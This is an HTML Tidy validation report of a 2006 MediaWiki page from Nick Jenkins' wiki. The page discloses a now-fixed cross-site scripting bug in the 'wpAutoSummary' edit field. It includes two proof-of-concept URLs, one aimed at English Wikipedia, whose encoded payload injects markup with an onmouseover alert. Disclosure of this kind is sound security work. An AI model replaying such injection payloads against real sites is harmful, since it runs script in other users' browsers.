HTML Tidy Complete Go View Tidied HTML Go Download Tidied File

Info Info: Document content looks like HTML Proprietary
38 warnings, 0 errors were found!

Character codes 128 to 159 (U+0080 to U+009F) are not allowed in HTML; even if they were, they would likely be unprintable control characters. Tidy assumed you wanted to refer to a character with the same byte value in the specified encoding and replaced that reference with the Unicode equivalent.

To learn more about HTML Tidy see http://tidy.sourceforge.net Please fill bug reports and queries using the "tracker" on the Tidy web site. Additionally, questions can be sent to [email protected] HTML and CSS specifications are available from http://www.w3.org/ Lobby your company to join W3C, see http://www.w3.org/Consortium

Tidy another page





1 <!DOCTYPE html> 1 <!DOCTYPE html>
warn 2 Warning: <html> proprietary attribute "class"
<html lang="en" dir="ltr" class="client-nojs"> 2 <html lang="en" dir="ltr" class="client-nojs">
3 <head> 3 <head>
warn 4 Warning: <meta> proprietary attribute "charset"; Warning: <meta> lacks "content" attribute
<meta charset="UTF-8" /><title>MediaWiki/Parser43 - Nick Jenkins</title> 4 <meta name="generator" content=
5 <meta name="generator" content="MediaWiki 1.22.6" /> 5 "HTML Tidy for Linux (vers 25 March 2009), see www.w3.org">
6 <link rel="shortcut icon" href="/favicon.ico" /> 6 <meta charset="UTF-8">
7 <link rel="search" type="application/opensearchdescription+xml" href="/opensearch_desc.php" title="Nick Jenkins (en)" /> 7 <title>MediaWiki/Parser43 - Nick Jenkins</title>
8 <link rel="EditURI" type="application/rsd+xml" href="http://nickj.org/api.php?action=rsd" /> 8 <meta name="generator" content="MediaWiki 1.22.6">
warn 9 Warning: <link> inserting "type" attribute
<link rel="alternate" type="application/atom+xml" title="Nick Jenkins Atom feed" href="/index.php?title=Special:RecentChanges&amp;feed=atom" /> 9 <link rel="shortcut icon" href="/favicon.ico">
10 <link rel="stylesheet" href="http://nickj.org/load.php?debug=false&amp;lang=en&amp;modules=mediawiki.legacy.commonPrint%2Cshared%7Cskins.vector&amp;only=styles&amp;skin=vector&amp;*" /> 10 <link rel="search" type="application/opensearchdescription+xml"
warn 11 Warning: <link> inserting "type" attribute
<meta name="ResourceLoaderDynamicStyles" content="" /> 11 href="/opensearch_desc.php" title="Nick Jenkins (en)">
warn 12 Warning: <style> inserting "type" attribute
<link rel="stylesheet" href="http://nickj.org/load.php?debug=false&amp;lang=en&amp;modules=site&amp;only=styles&amp;skin=vector&amp;*" /> 12 <link rel="EditURI" type="application/rsd+xml" href=
13 <style>a:lang(ar),a:lang(ckb),a:lang(kk-arab),a:lang(mzn),a:lang(ps),a:lang(ur){text-decoration:none} 13 "http://nickj.org/api.php?action=rsd">
14 /* cache key: nickj_wiki-wiki_:resourceloader:filter:minify-css:7:c0a2d75a8018479d067c4a0a7802cbaa */</style> 14 <link rel="alternate" type="application/atom+xml" title=
15 "Nick Jenkins Atom feed" href=
16 "/index.php?title=Special:RecentChanges&amp;feed=atom">
17 <link rel="stylesheet" href=
18 "http://nickj.org/load.php?debug=false&amp;lang=en&amp;modules=mediawiki.legacy.commonPrint%2Cshared%7Cskins.vector&amp;only=styles&amp;skin=vector&amp;*"
19 type="text/css">
20 <meta name="ResourceLoaderDynamicStyles" content="">
21 <link rel="stylesheet" href=
22 "http://nickj.org/load.php?debug=false&amp;lang=en&amp;modules=site&amp;only=styles&amp;skin=vector&amp;*"
23 type="text/css">
24 <style type="text/css">
25 a:lang(ar),a:lang(ckb),a:lang(kk-arab),a:lang(mzn),a:lang(ps),a:lang(ur){text-decoration:none}
26 /* cache key: nickj_wiki-wiki_:resourceloader:filter:minify-css:7:c0a2d75a8018479d067c4a0a7802cbaa */
27 </style>
warn 15 Warning: <script> inserting "type" attribute
28
warn 16 Warning: <script> inserting "type" attribute
<script src="http://nickj.org/load.php?debug=false&amp;lang=en&amp;modules=startup&amp;only=scripts&amp;skin=vector&amp;*"></script> 29 <script src=
17 <script>if(window.mw){ 30 "http://nickj.org/load.php?debug=false&amp;lang=en&amp;modules=startup&amp;only=scripts&amp;skin=vector&amp;*"
31 type="text/javascript">
32 </script>
33 <script type="text/javascript">
34 if(window.mw){
warn 18 Warning: <script> inserting "type" attribute
mw.config.set({"wgCanonicalNamespace":"","wgCanonicalSpecialPageName":false,"wgNamespaceNumber":0,"wgPageName":"MediaWiki/Parser43","wgTitle":"MediaWiki/Parser43","wgCurRevisionId":2133,"wgRevisionId":2133,"wgArticleId":1639,"wgIsArticle":true,"wgIsRedirect":false,"wgAction":"view","wgUserName":null,"wgUserGroups":["*"],"wgCategories":[],"wgBreakFrames":false,"wgPageContentLanguage":"en","wgPageContentModel":"wikitext","wgSeparatorTransformTable":["",""],"wgDigitTransformTable":["",""],"wgDefaultDateFormat":"dmy","wgMonthNames":["","January","February","March","April","May","June","July","August","September","October","November","December"],"wgMonthNamesShort":["","Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],"wgRelevantPageName":"MediaWiki/Parser43","wgIsProbablyEditable":false,"wgRestrictionEdit":["sysop"],"wgRestrictionMove":["sysop"]}); 35 mw.config.set({"wgCanonicalNamespace":"","wgCanonicalSpecialPageName":false,"wgNamespaceNumber":0,"wgPageName":"MediaWiki/Parser43","wgTitle":"MediaWiki/Parser43","wgCurRevisionId":2133,"wgRevisionId":2133,"wgArticleId":1639,"wgIsArticle":true,"wgIsRedirect":false,"wgAction":"view","wgUserName":null,"wgUserGroups":["*"],"wgCategories":[],"wgBreakFrames":false,"wgPageContentLanguage":"en","wgPageContentModel":"wikitext","wgSeparatorTransformTable":["",""],"wgDigitTransformTable":["",""],"wgDefaultDateFormat":"dmy","wgMonthNames":["","January","February","March","April","May","June","July","August","September","October","November","December"],"wgMonthNamesShort":["","Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],"wgRelevantPageName":"MediaWiki/Parser43","wgIsProbablyEditable":false,"wgRestrictionEdit":["sysop"],"wgRestrictionMove":["sysop"]});
19 }</script><script>if(window.mw){ 36 }
37 </script>
38 <script type="text/javascript">
39 if(window.mw){
20 mw.loader.implement("user.options",function(){mw.user.options.set({"ccmeonemails":0,"cols":80,"date":"default","diffonly":0,"disablemail":0,"disablesuggest":0,"editfont":"default","editondblclick":0,"editsection":1,"editsectiononrightclick":0,"enotifminoredits":0,"enotifrevealaddr":0,"enotifusertalkpages":1,"enotifwatchlistpages":0,"extendwatchlist":0,"fancysig":0,"forceeditsummary":0,"gender":"unknown","hideminor":0,"hidepatrolled":0,"imagesize":2,"justify":0,"math":1,"minordefault":0,"newpageshidepatrolled":0,"nocache":0,"noconvertlink":0,"norollbackdiff":0,"numberheadings":0,"previewonfirst":0,"previewontop":1,"rcdays":7,"rclimit":50,"rememberpassword":0,"rows":25,"searchlimit":20,"showhiddencats":0,"shownumberswatching":1,"showtoc":1,"showtoolbar":1,"skin":"vector","stubthreshold":0,"thumbsize":2,"underline":2,"uselivepreview":0,"usenewrc":0,"vector-simplesearch":1,"watchcreations":0,"watchdefault":0,"watchdeletion":0,"watchlistdays":3,"watchlisthideanons":0,"watchlisthidebots":0, 40 mw.loader.implement("user.options",function(){mw.user.options.set({"ccmeonemails":0,"cols":80,"date":"default","diffonly":0,"disablemail":0,"disablesuggest":0,"editfont":"default","editondblclick":0,"editsection":1,"editsectiononrightclick":0,"enotifminoredits":0,"enotifrevealaddr":0,"enotifusertalkpages":1,"enotifwatchlistpages":0,"extendwatchlist":0,"fancysig":0,"forceeditsummary":0,"gender":"unknown","hideminor":0,"hidepatrolled":0,"imagesize":2,"justify":0,"math":1,"minordefault":0,"newpageshidepatrolled":0,"nocache":0,"noconvertlink":0,"norollbackdiff":0,"numberheadings":0,"previewonfirst":0,"previewontop":1,"rcdays":7,"rclimit":50,"rememberpassword":0,"rows":25,"searchlimit":20,"showhiddencats":0,"shownumberswatching":1,"showtoc":1,"showtoolbar":1,"skin":"vector","stubthreshold":0,"thumbsize":2,"underline":2,"uselivepreview":0,"usenewrc":0,"vector-simplesearch":1,"watchcreations":0,"watchdefault":0,"watchdeletion":0,"watchlistdays":3,"watchlisthideanons":0,"watchlisthidebots":0,
21 "watchlisthideliu":0,"watchlisthideminor":0,"watchlisthideown":0,"watchlisthidepatrolled":0,"watchmoves":0,"wllimit":250,"useeditwarning":1,"prefershttps":1,"language":"en","variant-gan":"gan","variant-iu":"iu","variant-kk":"kk","variant-ku":"ku","variant-shi":"shi","variant-sr":"sr","variant-tg":"tg","variant-uz":"uz","variant-zh":"zh","searchNs0":true,"searchNs1":false,"searchNs2":false,"searchNs3":false,"searchNs4":false,"searchNs5":false,"searchNs6":false,"searchNs7":false,"searchNs8":false,"searchNs9":false,"searchNs10":false,"searchNs11":false,"searchNs12":false,"searchNs13":false,"searchNs14":false,"searchNs15":false,"variant":"en"});},{},{});mw.loader.implement("user.tokens",function(){mw.user.tokens.set({"editToken":"+\\","patrolToken":false,"watchToken":false});},{},{}); 41 "watchlisthideliu":0,"watchlisthideminor":0,"watchlisthideown":0,"watchlisthidepatrolled":0,"watchmoves":0,"wllimit":250,"useeditwarning":1,"prefershttps":1,"language":"en","variant-gan":"gan","variant-iu":"iu","variant-kk":"kk","variant-ku":"ku","variant-shi":"shi","variant-sr":"sr","variant-tg":"tg","variant-uz":"uz","variant-zh":"zh","searchNs0":true,"searchNs1":false,"searchNs2":false,"searchNs3":false,"searchNs4":false,"searchNs5":false,"searchNs6":false,"searchNs7":false,"searchNs8":false,"searchNs9":false,"searchNs10":false,"searchNs11":false,"searchNs12":false,"searchNs13":false,"searchNs14":false,"searchNs15":false,"variant":"en"});},{},{});mw.loader.implement("user.tokens",function(){mw.user.tokens.set({"editToken":"+\\","patrolToken":false,"watchToken":false});},{},{});
22 /* cache key: nickj_wiki-wiki_:resourceloader:filter:minify-js:7:5a69c7e0fa6557851b6dea8a62efaffb */ 42 /* cache key: nickj_wiki-wiki_:resourceloader:filter:minify-js:7:5a69c7e0fa6557851b6dea8a62efaffb */
warn 23 Warning: <script> inserting "type" attribute
}</script> 43 }
24 <script>if(window.mw){ 44 </script>
45 <script type="text/javascript">
46 if(window.mw){
25 mw.loader.load(["mediawiki.page.startup","mediawiki.legacy.wikibits","mediawiki.legacy.ajax","skins.vector.js"]); 47 mw.loader.load(["mediawiki.page.startup","mediawiki.legacy.wikibits","mediawiki.legacy.ajax","skins.vector.js"]);
26 }</script> 48 }
27 <!--[if lt IE 7]><style type="text/css">body{behavior:url("/skins/vector/csshover.min.htc")}</style><![endif]--></head> 49 </script>
28 <body class="mediawiki ltr sitedir-ltr ns-0 ns-subject page-MediaWiki_Parser43 skin-vector action-view vector-animateLayout"> 50 <!--[if lt IE 7]><style type="text/css">body{behavior:url("/skins/vector/csshover.min.htc")}</style><![endif]-->
51 </head>
52 <body class=
53 "mediawiki ltr sitedir-ltr ns-0 ns-subject page-MediaWiki_Parser43 skin-vector action-view vector-animateLayout">
54
29 <div id="mw-page-base" class="noprint"></div> 55 <div id="mw-page-base" class="noprint"></div>
30 <div id="mw-head-base" class="noprint"></div> 56 <div id="mw-head-base" class="noprint"></div>
warn 31 Warning: <div> proprietary attribute "role"
<div id="content" class="mw-body" role="main"> 57 <div id="content" class="mw-body" role="main"><a id="top"></a>
32 <a id="top"></a>
33 <div id="mw-js-message" style="display:none;"></div> 58 <div id="mw-js-message" style="display:none;"></div>
warn 34 Warning: <span> attribute "dir" has invalid value "auto"
<h1 id="firstHeading" class="firstHeading" lang="en"><span dir="auto">MediaWiki/Parser43</span></h1> 59 <h1 id="firstHeading" class="firstHeading" lang="en"><span dir=
60 "auto">MediaWiki/Parser43</span></h1>
35 <div id="bodyContent"> 61 <div id="bodyContent">
36 <div id="siteSub">From Nick Jenkins</div> 62 <div id="siteSub">From Nick Jenkins</div>
37 <div id="contentSub"><span class="subpages">&lt; <a href="/MediaWiki" title="MediaWiki">MediaWiki</a></span></div> 63 <div id="contentSub"><span class="subpages">&lt; <a href=
38 <div id="jump-to-nav" class="mw-jump"> 64 "/MediaWiki" title="MediaWiki">MediaWiki</a></span></div>
39 Jump to: <a href="#mw-navigation">navigation</a>, <a href="#p-search">search</a> 65 <div id="jump-to-nav" class="mw-jump">Jump to: <a href=
40 </div> 66 "#mw-navigation">navigation</a>, <a href=
41 <div id="mw-content-text" lang="en" dir="ltr" class="mw-content-ltr"><p>XSS Arbitrary JavaScript execution and HTML insertion. 67 "#p-search">search</a></div>
42 </p><p>The problem is the "wpAutoSummary" field. 68 <div id="mw-content-text" lang="en" dir="ltr" class=
43 </p><p>Proof-of-Concept, on my personal wiki: 69 "mw-content-ltr">
44 <a class="external free" href="http://get-to-post.nickj.org/?http://nickj.org/index.php?title=Talk:MediaWiki/Parser43&amp;action=edit&amp;wpTextbox1=Try+moving+cursor+over+red+text+at+bottom+of+page+for+popup&amp;wpPreview=1&amp;wpAutoSummary=%22+%2F%3E%3Ch1+style%3D%22text-align%3A+center%3B+font-size%3A+50pt%3B+color%3A+red%22+onmouseover%3D%22alert%28%27Ownage%21%27%29%3B%22%3EOWNAGE%3C%2Fh1%3E%3Chr+style%3D%22a">http://get-to-post.nickj.org/?http://nickj.org/index.php?title=Talk:MediaWiki/Parser43&amp;action=edit&amp;wpTextbox1=Try+moving+cursor+over+red+text+at+bottom+of+page+for+popup&amp;wpPreview=1&amp;wpAutoSummary=%22+%2F%3E%3Ch1+style%3D%22text-align%3A+center%3B+font-size%3A+50pt%3B+color%3A+red%22+onmouseover%3D%22alert%28%27Ownage%21%27%29%3B%22%3EOWNAGE%3C%2Fh1%3E%3Chr+style%3D%22a</a> 70 <p>XSS Arbitrary JavaScript execution and HTML insertion.</p>
45 </p><p>Proof-of-Concept, on the English Wikipedia: 71 <p>The problem is the "wpAutoSummary" field.</p>
46 <a class="external free" href="http://get-to-post.nickj.org/?http://en.wikipedia.org/wiki/index.php?title=TESTTEST&amp;action=edit&amp;wpTextbox1=test&amp;wpPreview=1&amp;wpAutoSummary=%22+%2F%3E%3Ch1+style%3D%22text-align%3A+center%3B+font-size%3A+50pt%3B+color%3A+red%22+onmouseover%3D%22alert%28%27Ownage%21%27%29%3B%22%3EOWNAGE%3C%2Fh1%3E%3Chr+style%3D%22a">http://get-to-post.nickj.org/?http://en.wikipedia.org/wiki/index.php?title=TESTTEST&amp;action=edit&amp;wpTextbox1=test&amp;wpPreview=1&amp;wpAutoSummary=%22+%2F%3E%3Ch1+style%3D%22text-align%3A+center%3B+font-size%3A+50pt%3B+color%3A+red%22+onmouseover%3D%22alert%28%27Ownage%21%27%29%3B%22%3EOWNAGE%3C%2Fh1%3E%3Chr+style%3D%22a</a> 72 <p>Proof-of-Concept, on my personal wiki: <a class="external free"
47 (will need to scroll down page to see). (Note: this is now fixed). 73 href=
48 </p> 74 "http://get-to-post.nickj.org/?http://nickj.org/index.php?title=Talk:MediaWiki/Parser43&amp;action=edit&amp;wpTextbox1=Try+moving+cursor+over+red+text+at+bottom+of+page+for+popup&amp;wpPreview=1&amp;wpAutoSummary=%22+%2F%3E%3Ch1+style%3D%22text-align%3A+center%3B+font-size%3A+50pt%3B+color%3A+red%22+onmouseover%3D%22alert%28%27Ownage%21%27%29%3B%22%3EOWNAGE%3C%2Fh1%3E%3Chr+style%3D%22a">
75 http://get-to-post.nickj.org/?http://nickj.org/index.php?title=Talk:MediaWiki/Parser43&amp;action=edit&amp;wpTextbox1=Try+moving+cursor+over+red+text+at+bottom+of+page+for+popup&amp;wpPreview=1&amp;wpAutoSummary=%22+%2F%3E%3Ch1+style%3D%22text-align%3A+center%3B+font-size%3A+50pt%3B+color%3A+red%22+onmouseover%3D%22alert%28%27Ownage%21%27%29%3B%22%3EOWNAGE%3C%2Fh1%3E%3Chr+style%3D%22a</a></p>
76 <p>Proof-of-Concept, on the English Wikipedia: <a class=
77 "external free" href=
78 "http://get-to-post.nickj.org/?http://en.wikipedia.org/wiki/index.php?title=TESTTEST&amp;action=edit&amp;wpTextbox1=test&amp;wpPreview=1&amp;wpAutoSummary=%22+%2F%3E%3Ch1+style%3D%22text-align%3A+center%3B+font-size%3A+50pt%3B+color%3A+red%22+onmouseover%3D%22alert%28%27Ownage%21%27%29%3B%22%3EOWNAGE%3C%2Fh1%3E%3Chr+style%3D%22a">
79 http://get-to-post.nickj.org/?http://en.wikipedia.org/wiki/index.php?title=TESTTEST&amp;action=edit&amp;wpTextbox1=test&amp;wpPreview=1&amp;wpAutoSummary=%22+%2F%3E%3Ch1+style%3D%22text-align%3A+center%3B+font-size%3A+50pt%3B+color%3A+red%22+onmouseover%3D%22alert%28%27Ownage%21%27%29%3B%22%3EOWNAGE%3C%2Fh1%3E%3Chr+style%3D%22a</a>
80 (will need to scroll down page to see). (Note: this is now
81 fixed).</p>
49 <!-- 82 <!--
50 NewPP limit report 83 NewPP limit report
51 CPU time usage: 0.009 seconds 84 CPU time usage: 0.009 seconds
52 Real time usage: 0.009 seconds 85 Real time usage: 0.009 seconds
53 Preprocessor visited node count: 1/1000000 86 Preprocessor visited node count: 1/1000000
54 Preprocessor generated node count: 4/1000000 87 Preprocessor generated node count: 4/1000000
warn 55 Warning: replacing invalid character code 128; Warning: discarding invalid character code 144
Post‐expand include size: 0/2097152 bytes 88 Postâ¬expand include size: 0/2097152 bytes
56 Template argument size: 0/2097152 bytes 89 Template argument size: 0/2097152 bytes
57 Highest expansion depth: 1/40 90 Highest expansion depth: 1/40
58 Expensive parser function count: 0/100 91 Expensive parser function count: 0/100
59 --> 92 -->
60
61 <!-- Saved in parser cache with key nickj_wiki-wiki_:pcache:idhash:1639-0!*!*!*!*!*!* and timestamp 20190321233906 93 <!-- Saved in parser cache with key nickj_wiki-wiki_:pcache:idhash:1639-0!*!*!*!*!*!* and timestamp 20190321233906
62 --> 94 --></div>
63 </div> <div class="printfooter"> 95 <div class="printfooter">Retrieved from "<a href=
64 Retrieved from "<a href="http://nickj.org/index.php?title=MediaWiki/Parser43&amp;oldid=2133">http://nickj.org/index.php?title=MediaWiki/Parser43&amp;oldid=2133</a>" </div> 96 "http://nickj.org/index.php?title=MediaWiki/Parser43&amp;oldid=2133">http://nickj.org/index.php?title=MediaWiki/Parser43&amp;oldid=2133</a>"</div>
65 <div id='catlinks' class='catlinks catlinks-allhidden'></div> <div class="visualClear"></div> 97 <div id='catlinks' class='catlinks catlinks-allhidden'></div>
98 <div class="visualClear"></div>
66 </div> 99 </div>
67 </div> 100 </div>
68 <div id="mw-navigation"> 101 <div id="mw-navigation">
69 <h2>Navigation menu</h2> 102 <h2>Navigation menu</h2>
70 <div id="mw-head"> 103 <div id="mw-head">
warn 71 Warning: <div> proprietary attribute "role"; Warning: <div> proprietary attribute "aria-labelledby"
<div id="p-personal" role="navigation" class="" aria-labelledby="p-personal-label"> 104 <div id="p-personal" role="navigation" class="" aria-labelledby=
105 "p-personal-label">
72 <h3 id="p-personal-label">Personal tools</h3> 106 <h3 id="p-personal-label">Personal tools</h3>
73 <ul> 107 <ul>
74 <li id="pt-login"><a href="/index.php?title=Special:UserLogin&amp;returnto=MediaWiki%2FParser43" title="You are encouraged to log in; however, it is not mandatory [o]" accesskey="o">Log in</a></li> </ul> 108 <li id="pt-login"><a href=
109 "/index.php?title=Special:UserLogin&amp;returnto=MediaWiki%2FParser43"
110 title=
111 "You are encouraged to log in; however, it is not mandatory [o]"
112 accesskey="o">Log in</a></li>
113 </ul>
75 </div> 114 </div>
76 <div id="left-navigation"> 115 <div id="left-navigation">
warn 77 Warning: <div> proprietary attribute "role"; Warning: <div> proprietary attribute "aria-labelledby"
<div id="p-namespaces" role="navigation" class="vectorTabs" aria-labelledby="p-namespaces-label"> 116 <div id="p-namespaces" role="navigation" class="vectorTabs"
117 aria-labelledby="p-namespaces-label">
78 <h3 id="p-namespaces-label">Namespaces</h3> 118 <h3 id="p-namespaces-label">Namespaces</h3>
79 <ul> 119 <ul>
80 <li id="ca-nstab-main" class="selected"><span><a href="/MediaWiki/Parser43" title="View the content page [c]" accesskey="c">Page</a></span></li> 120 <li id="ca-nstab-main" class="selected"><span><a href=
81 <li id="ca-talk" class="new"><span><a href="/index.php?title=Talk:MediaWiki/Parser43&amp;action=edit&amp;redlink=1" title="Discussion about the content page [t]" accesskey="t">Discussion</a></span></li> 121 "/MediaWiki/Parser43" title="View the content page [c]" accesskey=
122 "c">Page</a></span></li>
123 <li id="ca-talk" class="new"><span><a href=
124 "/index.php?title=Talk:MediaWiki/Parser43&amp;action=edit&amp;redlink=1"
125 title="Discussion about the content page [t]" accesskey=
126 "t">Discussion</a></span></li>
82 </ul> 127 </ul>
83 </div> 128 </div>
warn 84 Warning: <div> proprietary attribute "role"; Warning: <div> proprietary attribute "aria-labelledby"
<div id="p-variants" role="navigation" class="vectorMenu emptyPortlet" aria-labelledby="p-variants-label"> 129 <div id="p-variants" role="navigation" class=
85 <h3 id="mw-vector-current-variant"> 130 "vectorMenu emptyPortlet" aria-labelledby="p-variants-label">
86 </h3> 131 <h3 id="mw-vector-current-variant"></h3>
87 <h3 id="p-variants-label"><span>Variants</span><a href="#"></a></h3> 132 <h3 id="p-variants-label"><span>Variants</span><a href=
88 <div class="menu"> 133 "#"></a></h3>
warn 89 Warning: trimming empty <ul>
<ul> 134 <div class="menu"></div>
90 </ul>
91 </div> 135 </div>
92 </div> 136 </div>
93 </div>
94 <div id="right-navigation"> 137 <div id="right-navigation">
warn 95 Warning: <div> proprietary attribute "role"; Warning: <div> proprietary attribute "aria-labelledby"
<div id="p-views" role="navigation" class="vectorTabs" aria-labelledby="p-views-label"> 138 <div id="p-views" role="navigation" class="vectorTabs"
139 aria-labelledby="p-views-label">
96 <h3 id="p-views-label">Views</h3> 140 <h3 id="p-views-label">Views</h3>
97 <ul> 141 <ul>
98 <li id="ca-view" class="selected"><span><a href="/MediaWiki/Parser43" >Read</a></span></li> 142 <li id="ca-view" class="selected"><span><a href=
99 <li id="ca-viewsource"><span><a href="/index.php?title=MediaWiki/Parser43&amp;action=edit" title="This page is protected.&#10;You can view its source [e]" accesskey="e">View source</a></span></li> 143 "/MediaWiki/Parser43">Read</a></span></li>
100 <li id="ca-history" class="collapsible"><span><a href="/index.php?title=MediaWiki/Parser43&amp;action=history" title="Past revisions of this page [h]" accesskey="h">View history</a></span></li> 144 <li id="ca-viewsource"><span><a href=
145 "/index.php?title=MediaWiki/Parser43&amp;action=edit" title=
146 "This page is protected. You can view its source [e]" accesskey=
147 "e">View source</a></span></li>
148 <li id="ca-history" class="collapsible"><span><a href=
149 "/index.php?title=MediaWiki/Parser43&amp;action=history" title=
150 "Past revisions of this page [h]" accesskey="h">View
151 history</a></span></li>
101 </ul> 152 </ul>
102 </div> 153 </div>
warn 103 Warning: <div> proprietary attribute "role"; Warning: <div> proprietary attribute "aria-labelledby"
<div id="p-cactions" role="navigation" class="vectorMenu emptyPortlet" aria-labelledby="p-cactions-label"> 154 <div id="p-cactions" role="navigation" class=
155 "vectorMenu emptyPortlet" aria-labelledby="p-cactions-label">
104 <h3 id="p-cactions-label"><span>Actions</span><a href="#"></a></h3> 156 <h3 id="p-cactions-label"><span>Actions</span><a href="#"></a></h3>
105 <div class="menu"> 157 <div class="menu"></div>
warn 106 Warning: trimming empty <ul>
<ul>
107 </ul>
108 </div> 158 </div>
109 </div>
warn 110 Warning: <div> proprietary attribute "role"
<div id="p-search" role="search"> 159 <div id="p-search" role="search">
111 <h3><label for="searchInput">Search</label></h3> 160 <h3><label for="searchInput">Search</label></h3>
112 <form action="/index.php" id="searchform"> 161 <form action="/index.php" id="searchform">
113 <div id="simpleSearch"> 162 <div id="simpleSearch"><input name="search" placeholder="Search"
warn 114 Warning: <input> proprietary attribute "placeholder"
<input name="search" placeholder="Search" title="Search Nick Jenkins [f]" accesskey="f" id="searchInput" /> <button type="submit" name="button" title="Search the pages for this text" id="searchButton"><img src="/skins/vector/images/search-ltr.png?303" alt="Search" width="12" height="13" /></button> <input type='hidden' name="title" value="Special:Search"/> 163 title="Search Nick Jenkins [f]" accesskey="f" id="searchInput">
115 </div> 164 <button type="submit" name="button" title=
165 "Search the pages for this text" id="searchButton"><img src=
166 "/skins/vector/images/search-ltr.png?303" alt="Search" width="12"
167 height="13"></button> <input type='hidden' name="title" value=
168 "Special:Search"></div>
116 </form> 169 </form>
117 </div> 170 </div>
118 </div> 171 </div>
119 </div> 172 </div>
120 <div id="mw-panel"> 173 <div id="mw-panel">
warn 121 Warning: <div> proprietary attribute "role"
<div id="p-logo" role="banner"><a style="background-image: url(http://files.nickj.org/images/Nemo.jpg);" href="/Nick%27s_Homepage" title="Visit the main page"></a></div> 174 <div id="p-logo" role="banner"><a style=
warn 122 Warning: <div> proprietary attribute "role"; Warning: <div> proprietary attribute "aria-labelledby"
<div class="portal" role="navigation" id='p-navigation' aria-labelledby='p-navigation-label'> 175 "background-image: url(http://files.nickj.org/images/Nemo.jpg);"
176 href="/Nick%27s_Homepage" title="Visit the main page"></a></div>
177 <div class="portal" role="navigation" id='p-navigation'
178 aria-labelledby='p-navigation-label'>
123 <h3 id='p-navigation-label'>Navigation</h3> 179 <h3 id='p-navigation-label'>Navigation</h3>
124 <div class="body"> 180 <div class="body">
125 <ul> 181 <ul>
126 <li id="n-mainpage"><a href="/Nick%27s_Homepage" title="Visit the main page [z]" accesskey="z">Nick's Homepage</a></li> 182 <li id="n-mainpage"><a href="/Nick%27s_Homepage" title=
183 "Visit the main page [z]" accesskey="z">Nick's Homepage</a></li>
127 <li id="n-sitemap"><a href="/Special:AllPages">Site Map</a></li> 184 <li id="n-sitemap"><a href="/Special:AllPages">Site Map</a></li>
128 <li id="n-leavemessage"><a href="/User_talk:Nickj">Leave a Message</a></li> 185 <li id="n-leavemessage"><a href="/User_talk:Nickj">Leave a
129 <li id="n-recentchanges"><a href="/Special:RecentChanges" title="A list of recent changes in the wiki [r]" accesskey="r">Recent changes</a></li> 186 Message</a></li>
130 <li id="n-randompage"><a href="/Special:Random" title="Load a random page [x]" accesskey="x">Random page</a></li> 187 <li id="n-recentchanges"><a href="/Special:RecentChanges" title=
188 "A list of recent changes in the wiki [r]" accesskey="r">Recent
189 changes</a></li>
190 <li id="n-randompage"><a href="/Special:Random" title=
191 "Load a random page [x]" accesskey="x">Random page</a></li>
131 </ul> 192 </ul>
132 </div> 193 </div>
133 </div> 194 </div>
warn 134 Warning: <div> proprietary attribute "role"; Warning: <div> proprietary attribute "aria-labelledby"
<div class="portal" role="navigation" id='p-tb' aria-labelledby='p-tb-label'> 195 <div class="portal" role="navigation" id='p-tb' aria-labelledby=
196 'p-tb-label'>
135 <h3 id='p-tb-label'>Tools</h3> 197 <h3 id='p-tb-label'>Tools</h3>
136 <div class="body"> 198 <div class="body">
137 <ul> 199 <ul>
138 <li id="t-whatlinkshere"><a href="/Special:WhatLinksHere/MediaWiki/Parser43" title="A list of all wiki pages that link here [j]" accesskey="j">What links here</a></li> 200 <li id="t-whatlinkshere"><a href=
139 <li id="t-recentchangeslinked"><a href="/Special:RecentChangesLinked/MediaWiki/Parser43" title="Recent changes in pages linked from this page [k]" accesskey="k">Related changes</a></li> 201 "/Special:WhatLinksHere/MediaWiki/Parser43" title=
140 <li id="t-specialpages"><a href="/Special:SpecialPages" title="A list of all special pages [q]" accesskey="q">Special pages</a></li> 202 "A list of all wiki pages that link here [j]" accesskey="j">What
141 <li id="t-print"><a href="/index.php?title=MediaWiki/Parser43&amp;printable=yes" rel="alternate" title="Printable version of this page [p]" accesskey="p">Printable version</a></li> 203 links here</a></li>
142 <li id="t-permalink"><a href="/index.php?title=MediaWiki/Parser43&amp;oldid=2133" title="Permanent link to this revision of the page">Permanent link</a></li> 204 <li id="t-recentchangeslinked"><a href=
143 <li id="t-info"><a href="/index.php?title=MediaWiki/Parser43&amp;action=info">Page information</a></li> 205 "/Special:RecentChangesLinked/MediaWiki/Parser43" title=
206 "Recent changes in pages linked from this page [k]" accesskey=
207 "k">Related changes</a></li>
208 <li id="t-specialpages"><a href="/Special:SpecialPages" title=
209 "A list of all special pages [q]" accesskey="q">Special
210 pages</a></li>
211 <li id="t-print"><a href=
212 "/index.php?title=MediaWiki/Parser43&amp;printable=yes" rel=
213 "alternate" title="Printable version of this page [p]" accesskey=
214 "p">Printable version</a></li>
215 <li id="t-permalink"><a href=
216 "/index.php?title=MediaWiki/Parser43&amp;oldid=2133" title=
217 "Permanent link to this revision of the page">Permanent
218 link</a></li>
219 <li id="t-info"><a href=
220 "/index.php?title=MediaWiki/Parser43&amp;action=info">Page
221 information</a></li>
144 </ul> 222 </ul>
145 </div> 223 </div>
146 </div> 224 </div>
147 </div> 225 </div>
148 </div> 226 </div>
warn 149 Warning: <div> proprietary attribute "role"
<div id="footer" role="contentinfo"> 227 <div id="footer" role="contentinfo">
150 <ul id="footer-info"> 228 <ul id="footer-info">
151 <li id="footer-info-lastmod"> This page was last modified on 16 June 2006, at 08:00.</li> 229 <li id="footer-info-lastmod">This page was last modified on 16 June
152 <li id="footer-info-viewcount">This page has been accessed 6,642 times.</li> 230 2006, at 08:00.</li>
231 <li id="footer-info-viewcount">This page has been accessed 6,642
232 times.</li>
153 </ul> 233 </ul>
154 <ul id="footer-icons" class="noprint"> 234 <ul id="footer-icons" class="noprint">
155 <li id="footer-poweredbyico"> 235 <li id="footer-poweredbyico"><a href=
156 <a href="//www.mediawiki.org/"><img src="/skins/common/images/poweredby_mediawiki_88x31.png" alt="Powered by MediaWiki" width="88" height="31" /></a> 236 "//www.mediawiki.org/"><img src=
157 </li> 237 "/skins/common/images/poweredby_mediawiki_88x31.png" alt=
238 "Powered by MediaWiki" width="88" height="31"></a></li>
158 </ul> 239 </ul>
159 <div style="clear:both"></div> 240 <div style="clear:both"></div>
warn 160 Warning: <script> inserting "type" attribute; Warning: <script> inserting "type" attribute
</div> 241 </div>
